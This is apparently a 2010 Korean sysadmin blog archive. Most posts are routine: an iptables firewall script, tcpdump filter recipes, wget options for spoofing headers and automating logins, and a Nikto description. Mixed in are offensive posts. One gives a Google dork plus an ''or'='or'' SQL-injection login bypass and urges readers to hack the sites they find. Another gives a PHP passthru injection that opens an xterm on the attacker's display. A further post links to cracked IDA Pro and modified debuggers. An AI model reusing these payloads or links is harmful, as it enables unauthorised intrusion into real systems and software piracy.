        case $ip_addy in
            *)echo "$ip_addy ACCEPT"
            iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j ACCEPT
            iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j ACCEPT
        ;;
        esac
    done < $allow_file
    unset allow_file
fi
unset ipaddr
#소스주소가 자신의 IP인 것처럼 위장해서 들어오는 패킷을 drop
iptables -A INPUT -s $IPADDR -j DROP
#소스주소가 A,B,C클래스의 사설IP인 패킷을거부
iptables -A INPUT -s $CLASS_A -j DROP
iptables -A INPUT -s $CLASS_B -j DROP
iptables -A INPUT -s $CLASS_C -j DROP
#브로드캐스트주소를 소스로하는 패킷을 차단
iptables -A INPUT -s $BROADCAST_DEST -j DROP
iptables -A INPUT -d $BROADCAST_SRC -j DROP
#D클래스 멀티캐스트 주소를 거부한다
iptables -A INPUT -s $CLASS_D_MULTICAST -j DROP
#예약된 E클래스 주소는 거부한다
iptables -A INPUT -s $CLASS_E_RESERVED_NET -j DROP
#IANA에 의해 예약된 특정주소거부(2001.01.04 기준)
iptables -A INPUT -s 0.0.0.0/8 -j DROP
iptables -A INPUT -s 127.0.0.0/8 -j DROP
iptables -A INPUT -s 169.0.2.0/24 -j DROP
iptables -A INPUT -s 192.0.2.0/24 -j DROP
iptables -A INPUT -s 224.0.0.9/3 -j DROP
#UDP TRACEROUTE(네임서버에 필요)
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $TRACEROUTE_SRC_PORTS -d $IPADDR --destination-port $TRACEROUTE_DEST_PORTS -j DROP
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $TRACEROUTE_SRC_PORTS --destination-port $TRACEROUTE_DEST_PORTS -j ACCEPT
#포위드전용 DNS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
#SSH 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $SSH_REMOTE_PORTS -d $IPADDR --destination-port 22 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 22 --destination-port $SSH_REMOTE_PORTS -j ACCEPT
#SSH 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $SSH_LOCAL_PORTS --destination-port 22 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 22 -d $IPADDR --destination-port $SSH_LOCAL_PORTS -j ACCEPT
#HTTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 80 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 80 --destination-port $UNPRIVPORTS -j ACCEPT
#HTTPS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 443 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 443 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 3306 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 3306 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 3306 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 3306 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 21 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 21 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 포트모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port $UNPRIVPORTS -d $IPADDR --destination-port 20 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 20 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 패시브모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port $UNPRIVPORTS --destination-port $UNPRIVPORTS -j ACCEPT
#POP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 110 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 110 --destination-port $UNPRIVPORTS -j ACCEPT
#POP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 110 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 110 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 143 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 143 --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 143 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 143 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 993 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 993 --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 993 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 993 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 25 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 25 --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 25 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 25 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS 서버
#서버와 서버간 또는 클라이언트와의 질의 반응
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port 53 -j ACCEPT
#DNS 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS Zone 전송
#PRIMARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $SECONDARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $SECONDARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#SECONDARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $PRIMARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $PRIMARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#ICMP
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type echo-reply -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type destination-unreachable -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type source-quench -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type time-exceeded -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type parameter-problem -d $IPADDR -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type fragmentation-needed -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type source-quench -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type parameter-problem -j ACCEPT
#rsync 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 873 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 873 --destination-port $UNPRIVPORTS -j ACCEPT
#rsync 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 873 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 873 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#time 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 37 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 37 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
echo "FIREWALL START"
2010/06/04 00:06 2010/06/04 00:06
오늘도 wget 여러 옵션들을 테스트해봤습니다.
그동안 제일 궁금했던 것이
--user-agent=agent-string
등으로 user-agent를 속이는데 서버에서는 어떻게 인식하는지가 제일 궁금해서
http://browsers.garykeith.com/tools/your-browser.asp
에 접속해봤습니다.

 wget  --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  http://browsers.garykeith.com/tools/your-browser.asp
했더니 튕기더군요.
----------------------------------
Access Denied
You do not appear to be using this form in accordance with my Terms of Use.
Continued abuse will eventually result in you losing access to this server!
It's also possible you are using security software that modifies the HTTP_REFERER header.
If I can't confirm the referrer is valid then you can't have access to my forms.
--------------------------------

그래서 이번에는 --referer 옵션까지 설정을 해서 다시 시도해봤습니다.
wget  --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  --referer="http://browsers.garykeith.com/tools/property-docs.asp" http://browsers.garykeith.com/tools/your-browser.asp
이번에는 성공!!!
-------------------------------
Your Browser
User Agent
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
.... 이하 생략
--------------------------------

어찌보면 당연한 결론이지만  --user-agent, --referer 두가지다 제대로 작동합니다.

더 무서운것은 --save-cookie, --load-cookies,  --post-data=string, --post-file=file 입니다.

--save-cookie "cookie.txt" --post-data "user_id=myid&password=mypassword"
옵션을 주니까 멋있게 로그인까지 하고 쿠키를 저장해두더군요.

다시
 --load-cookies "cookie.txt" 하니까 회원만 가능한 곳 어디든지 정상접속됩니다.

post.dat라는 화일에 게시판에 필요한 변수를 입력해두고
 --load-cookies "cookie.txt"  --post-file "post.dat" 하니까 게시판에 글도 씁니다.

잘만 활용하면 좋겠는데
까딱하면 스팸로봇이 따로 필요없습니다.
2010/06/03 23:59 2010/06/03 23:59

# tcpdump -q \( dst net 1.2.3.0/24 or 1.2.4.0/25 \) and dst port 80
목적지 주소가 1.2.3.x/24 와 1.2.4.x/25 이고 80번포트인 패킷 캡쳐

# tcpdump host A
A 호스트로/부터의 모든 도착/출발 패킷 출력


# tcpdump host A and \( B or C \)
A 호스트와 B 또는 C 사이의 모든 트래픽 출력


# tcpdump ip host A and not B
A호스트와 B를 제외한 호스트 간의 모든 IP 패킷 출력


# tcpdump net ucb-ether
로컬호스트와 Berkeley의 호스트들 간의 모든 트래픽 출력


# tcpdump 'gateway A and (port ftp or ftp-data)'
게이트웨이 A를 통한 모든 ftp 트래픽 출력


# tcpdump ip and not net <localnet>
로컬네트워크로/부터가 아닌 모든 트래픽 출력


# tcpdump 'tcp[13] & 3 != 0 and not src and dst net <localnet>'
로컬네트워크가 아닌 TCP 시작과 마지막 패킷 출력


# tcpdump 'gateway A and ip[2:2] > 576'
게이트웨이 A를 통해 보내지는 576 Bytes보다 긴 IP 패킷 출력


# tcpdump 'ether[0] & 1 = 0 and ip[16] >= 224'
이더넷이 아닌 IP 브로드 또는 멀티 캐스트 패킷 출력


# tcpdump 'icmp[0] != 8 and icmp[0] != 0'
echo 요청/응답이 아닌 모든 ICMP 패킷 출력 (ping 아닌 패킷)


# tcpdump src net 1.2.3 or 1.2.4 and not dst net 1.2.3 or 1.2.4
1.2.3 과 1.2.4 IP주소 (내부) 패킷을 제외한 모든 패킷 출력


# tcpdump -i br1
 br1 인터페이스의 모든 패킷 출력



=============================================================================================================

tcpdump로 ftp 접속시 발생하는 패킷 내용을 보려면

 tcpdump -t -x port ftp

tcpdump -t -x ‘port ftp or ftp-data’

tcpdump -t -x port 21


특정호스트의 특정 포트로 들어오는 패킷을 보는 예제

            tcpdump -i eth0 -t -X port xx and host xxx.xxx.xxx.xxx

2010/04/14 10:35 2010/04/14 10:35

1. 개요
 가. 리눅스 서버에서 패킷 스니핑시 주로 사용하는 tcpdump 의 사용법 입니다.

 나. 테스트환경 : 리눅스 CentOS 5.1 (tcpdump version 3.94, libpcap version 0.9.4)


2. tcpdump 사용법
 가. 특정 호스트의 특정포트 패킷만 보기

[root@localhost]# tcpdump -nn host 192.168.1.5 and port 80
 

 나. 특정 호스트의 Mac Address 보기

[root@localhost]# tcpdump -e host 192.168.1.6

 다. 지정한 디바이스 장치의 특정포트 패킷보기

[root@localhost]# tcpdump -i eth1 dst port 80
[root@localhost]# tcpdump -i eth1 src port 80
 

 라. 특정 호스트를 제외한 패킷보기

[root@localhost]# tcpdump not host 192.168.1.6

 마. 복합 조건검색 (192.168.1.2 가 아니며 80번 포트를 사용한 패킷 10줄 출력)

[root@localhost]# tcpdump 'not host 192.168.1.2 and port 80' -c 10
 

 바. 패킷의 헥사코드 출력 및 문자열 일치하는 패킷 스니핑

[root@localhost]# tcpdump -s 1024 -x | grep "password"
 

       (-s lenght 패킷들로부터 추출하는 샘플을 default 값인 68Byte 외의 값으로 설정
         하는것으로 프로토콜의 헤더 사이즈에 가깝에 잡아 주어야 합니다. 샘플 사이즈
         를 크게 잡으면 패킷하나를 처리하는데 시간이 더 걸리며 패킷 버퍼의 사이즈가
         작아지게 되어 손실되는 패킷이 발생할 수 있습니다.)


2010/04/14 10:25 2010/04/14 10:25
http://reversengineering.wordpress.com/debuggers/
여러가지 디버거를 잘 모아논 사이트를 발견했다.
정확히 말하면, 발견한 것이 아니라 누구한테 정보를 얻은 것이다.

필요한 사람들이 많을 거 같아서, 한번 올려보기로 했다.


Debuggers

OllyDbg modified :

OllyDbg - BoomBox

http://rapidshare.com/files/25394210/request.php_3

OllyDbg - Chinese
http://rapidshare.com/files/25394358/request.php_554

OllyDbg - CiM’s
http://rapidshare.com/files/25394505/request.php_1206

OllyDbg - Diablo’s

http://rapidshare.com/files/25395171/request.php_2

OllyDbg - ExeCryptor
http://rapidshare.com/files/25395311/request.php_553

OllyDbg - Hacnho’s
http://rapidshare.com/files/25395639/request.php_4

OllyDbg - OllyICE

http://rapidshare.com/files/25395646/request.php_5

ollyice 2007.9.21

http://rapidshare.com/files/60720683/OlyICE2007.9.21.rar

bigice 5
http://rapidshare.com/files/26791856/bigice5.zip

ollyice 2008.1.1

OllyICE v1.10==new==

http://rapidshare.com/files/132790837/odbg110_OllyICE_v1.10_update.rar

OllyICE TheMida MOD. By EvOlUtIoN==new==
http://letitbit.net/download/90b2a3913809/OllyICE-TheMida-By-EvOlUtIoN.rar.html
http://rapidshare.com/files/138149196/OllyICE_TheMida_By_EvOlUtIoN.rar

OllyDbg - Shadow
http://rapidshare.com/files/25395640/request.php_6

OllyDbg - Unmodified!
http://rapidshare.com/files/25395641/request.php_1

OllyDbg-flyODBG

http://rapidshare.com/files/26789936/flyjnop790.zip

ollydbg - ricardo nar.

http://rapidshare.com/files/26791858/ricarcdon.zip

OllyDbg_SLV edition
http://rapidshare.com/files/26791862/slv.zip

OllyDbg -Arabic
http://rapidshare.com/files/26791864/ice1_3.zip

Ollydbg - xp
http://rapidshare.com/files/26771160/ollydbg_110_xp.rar

Ollydbg - greenstyle

http://rapidshare.com/files/26436069/ollydbg_Green_Style_20by_20jnop790.rar

OllyDbg - armadillo
http://rapidshare.com/files/34817803/odbg_204_20armadillo_20with_20tools.zip

OllyDbg - xp+ dct
http://rapidshare.com/files/34821367/ODbg_20xp_20DCT.zip

OllyDbg - ADO
http://rapidshare.com/files/34821368/ODbgADO.zip

OllyDbg - SND
http://rapidshare.com/files/34821374/ODbgSnD.zip

OllyDbg -D2K2
http://rapidshare.com/files/34821377/ODbgD2k2.zip

OllyDbg - DeFixed

http://rapidshare.com/files/39044055/DeFixed_Edition.rar

OllyDbg - DeFixed v2 (foff)

http://rapidshare.com/files/60718378/DeFixed_Edition_v2.rar

OllyDbg - ExeCryptor

http://rapidshare.com/files/39851301/exec.olly.zip

olly bronco (mod. for execryptor )

http://rapidshare.com/files/66345462/OllyDbg_v1.10_Bronco.rar

olly YPOGEiOS DOX DiViSiON

http://rapidshare.com/files/66345700/YGS-DOX_OllyDBG.v1.10.Mod-YPOGEiOS.rar

OllyDbg’ - Snd version all plugins and olly patched :

http://rapidshare.com/files/44123914/0_1_1_YDbg_Beta_Full.7z

the 0dbg for Themida/WinLicense V1.9.3.0

http://rapidshare.com/files/50611549/The0DBG.exe

HanOlly

http://rapidshare.com/files/64369450/odbg110__HanOlly_edition_for_themida_1.9.rar

ollydbg modified for themida 1.9.5

http://rapidshare.com/files/65716863/O_ll_y_Dbg_modify_for_themida1.9.5.EXE

ollydbg modified for themida and execryptor==new==

http://letitbit.net/download/d35cd7115999/RAMODBG.rar.html

ollydng Sabre Gold

DarkOlly==new==

http://rapidshare.com/files/137296680/DarkOlly.7z

OllyDbg 1.10 - kamal==new==

http://letitbit.net/download/9e844d493204/OllyDbg-1.10-by-kamal.rar.html

OllyDbg v1.10 LifeODBG v1.4==new==

http://letitbit.net/download/686a95302760/OllyDbg-v1.10-LifeODBG-v1.4.rar.html

OllyDBG The_Best_version==new==

http://rapidshare.com/files/142544485/OllyDBG_The_Best_version.rar

http://letitbit.net/download/ffb745506367/OllyDBG-The-Best-version.rar.html

OllyDbg 2

OllyDbg 2 2a 20 oct 2007

http://rapidshare.com/files/64369705/ollydbg_2a-_20_oct07.exe

OllyDbg v2.00 Alpha 4

http://letitbit.net/download/a51bdc740372/OllyDbg-v2.00-Alpha-4.zip.html

OllyDbg v2.00 Alpha Sabre-Gold==new==

http://letitbit.net/download/357163436792/OllyDbg-v2.00-Alpha-Sabre-Gold.rar.html

oLLYdbg 2.00 g==new==

http://letitbit.net/download/0768f7669997/odbg200g.zip.html

ollydbg1.1 BY INREv team==new==

http://letitbit.net/download/fc3c1941207/ollydbg1.1-beta2-INRev.rar.html

http://letitbit.net/download/6faed3180832/odbg1.10-beta1–INRev.rar.html

> all patches for OllyDbg 1.x<

http://rapidshare.com/files/35977772/OLLYDBG_1.10_all_patches_.rar

note:
AFTER DOWNLOAD CHANGE NAME TO*.RAR OR *.ZIP

=================

Debugging Tools for Windows

dbg X86

http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx

=================

SoftIce

98

http://rapidshare.com/files/50615930/Sic_v4.2.7_RC1_9x__IceExt_v0.7.part1.rar

http://rapidshare.com/files/50615933/Sic_v4.2.7_RC1_9x__IceExt_v0.7.part2.rar

http://rapidshare.com/files/50615934/SoftICE_20v4.3.2.2485.rar

xp

http://rapidshare.com/files/50615935/SoftIce_20v4.2.7_20RC1_20XP.exe

=================

Syser Debugger

Syser Debugger 1.92

http://rapidshare.com/files/42710603/download.php

Syser Debugger 1.93

http://rapidshare.com/files/48708302/download.php

Syser DebuggeR 1.97.1900.1016

http://rapidshare.com/files/119028937/Sys.Debug.v1.97.1900.1016.zip

Syser.Debugger.v1.97.1900.1038 ==new==

http://rapidshare.com/files/131394971/Syser.Debugger.v1.97.1900.1038.zip

=================

Immunity Debugger

ImmunityDebugger v 1.0


http://debugger.immunityinc.com/download/ImmunityDebugger_setup.exe

or

http://rapidshare.com/files/47096385/ImmunityDebugger_setup.exe

ImmunityDebugger v 1.5 FULL (SCRIPT+PLUGIN)==new==

part 1 & 2:

http://rapidshare.com/files/138160039/ImDbg.v1.5.7z.001

http://rapidshare.com/files/138158243/ImDbg.v1.5.7z.002

PASS:http://reversengineering.wordpress.com/debuggers/

=================

IDA Pro

IDA Pro Advanced v5.1.0.899

http://letitbit.net/download/555d66375926/IDAProAdvancedv5.1.0.899.rar.html

Fix

http://letitbit.net/download/3df899307180/IDAProAdvancedv5.1.0.899Fix.rar.html

DataRescue IDA Pro Advanced v5.1.0.899  + SDK + FiX

http://letitbit.net/download/077cd4773868/DataRescue.IDA.Pro.Advanced.v5.1.0.899.rar.html

IDA PRO 5.1 SDK

http://letitbit.net/download/a91b81999543/IDA-5.1-SDK.part02.rar.html

http://letitbit.net/download/e5e2e4967183/IDA-5.1-SDK.part01.rar.html
Datarescue ida pro advanced  v5.1 windows patch

LAN patch
Key blacklist patch
Russian IDA data file read patch

http://letitbit.net/download/9a8fec832094/datarescue.ida.pro.advanced.v5.1.windows-patch.rar.html

IDA Pro v5.20 Advanced Full MegaPack

by cracklab

http://letitbit.net/download/b96428300403/download.php-action-get-n-MjE1.html

after download rename it to “IDA Pro v5.20 Advanced Full MegaPack.rar”

IDA Pro 5.2 addons

idsutil5.20

Flair5.10

http://letitbit.net/download/f09e75790522/IdaPro5.2-addons.rar.html

DataRescue IDA Pro Advanced v5.2 SDK

http://letitbit.net/download/85acc3208403/idapro52sdk.part02.rar.html

http://letitbit.net/download/307d35980633/idapro52sdk.part01.rar.html

=================

Zeta Debugger

Zeta Debugger v1.4

http://letitbit.net/download/b06dd5445683/Zeta.Debugger.v1.4-full.zip.html

Zeta Debugger v1.5==new==

http://letitbit.net/download/e0881a39387/zd1.5-setup.zip.html

=================

Linux Debugger

EDB Linux Debugger 0.8.12

http://www.codef00.com/projects/debugger-0.8.12.tgz

0.9.1

http://www.codef00.com/projects/debugger-0.9.1.tgz

0.9.2 released 2008-07-29
http://www.codef00.com/projects.php#Debugger

0.9.4 2008-08-12==new==

http://www.codef00.com/projects/debugger-0.9.4.tgz

=================

java Debugger

JDebugTool Pro v4.1.1==new==

http://letitbit.net/download/baf0a2105543/JDebugTool-Pro-v4.1.1.rar.html

http://rapidshare.com/files/137998716/JDebugTool_Pro_v4.1.1.rar

pass:http://reversengineering.wordpress.com

=================

other debuggers

Obsidian - Non-intrusive Debugger + src ==new==

http://letitbit.net/download/e7fa3b610314/Obsidian–src.rar.html

VB Debugger [source code] + compiled with VB 6==new==

http://letitbit.net/download/f2e228167354/vb-debug-src.7z.html

MiniDBG with source==new==

http://letitbit.net/download/5731ca759728/debugger.rar.html

2010/03/29 01:22 2010/03/29 01:22
비스타에 쓰인 BitLocker와 같은 Disk Encryption은 도저히 풀어낼 수 없다고 하는데...
약간의 제약사항이 있지만, 그것을 깨뜨린 사람들도 있다.

바로, 사용중인 컴퓨터나 로그인 화면만 띄워진 상태에서 램에서 자료를 추출하고,
그 램 내용에서 패스워드를 찾아내는 방법...

http://citp.princeton.edu.nyud.net/pub/coldboot.pdf

역쉬 놀라움~~

특히, 동영상에서 켜진 컴퓨터의 램을 얼려서, 10분안에 해킹하는 것은 압권 그 자체!!
http://www.boingboing.net/2008/02/21/report-disk-encrypti.html


이 방법을 사용하면,
다른 디스크  암호화 솔루션도 해킹 가능하다지만,
제약사항이 많다는 점....

항상 전기절약을 위해서, 안쓰는 컴퓨터는 꺼둡시다~.
2010/03/29 01:11 2010/03/29 01:11
조선족 해커가 알려준 재미난
SQL Injection

근데, 관리자로 로그인하면 머하나??
중국말을 알어야 해킹을 하지.. 띠붕~~

구글에서 검색하기
inurl:Login.asp intext:"Co Net MIB Ver 1.0"

검색되는 사이트에 들어가면,
username과 userpass에
'or'='or'
를 모두 입력하기만 하면, 로그인됨.

되는 곳이 있고, 막힌 곳이 있으니,
알아서들 찾아서, 중국말 아시면 잘 요리해 보세요~~
2010/03/29 01:10 2010/03/29 01:10
제목이 좀 그렇긴 합니다.

보통 리눅스에서 nmap ,wget ,find , vi  ,ssh ,telnet , rm -rf 기타 명령어 들이 필요 할때가 있습니다.

저는 이렇게 사용 하고 있습니다.

D 드라이버 쪽에 폴더를 만들어.

환경변수 쪽에 추가를 합니다.
사용자 삽입 이미지


그리고 cygwin 에 bin 폴더에 있는 필요한 명령어를 이동시키고 기타 필요한 파일을 이곳에 이동시키고.

CMD 창에서 명령어를 쓰곤 합니다.

그럴때 필요한 cygwin 에 bin 폴더 그리고 본인이 쓰는 기타 명령어를 압축한 파일입니다. 필요 없는 dll 도 있습니다

2010/03/14 09:24 2010/03/14 09:24

웹서버 취약점 점검도구 입니다.

Thanks to Edgeos for sponsoring Nikto!
Deploy your branded security services quickly and easily, including a full web-based portal for your customers, unlimited external and internal vulnerability assessments, automated professional reporting, and centralized management. The Edgeos platform is your company's security services, for your customers, and completely private labeled for your business!
Edgeos - Target Your Customers' Security


--------------------------------------------------------------------------------

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6100 potentially dangerous files/CGIs, checks for outdated versions of over 950 servers, and version specific problems on over 260 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).


Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.

Nikto is written by Chris Sullo and David Lodge.

2010/03/12 15:42 2010/03/12 15:42
일단 X-manager 프로그램이 실행중이여야 한다.
다음 소스를 인젝션 해준다.

<?
$a=$REMOTE_ADDR;
passthru("/usr/X11R6/bin/xterm -display ${a}:0.0");
?>

공격법은 인젝션 변수에 &a=자신의IP 해주면 된다.

<?
$a=$REMOTE_ADDR;
passthru("/usr/X11R6/bin/hanterm -display ${a}:0.0");
?>

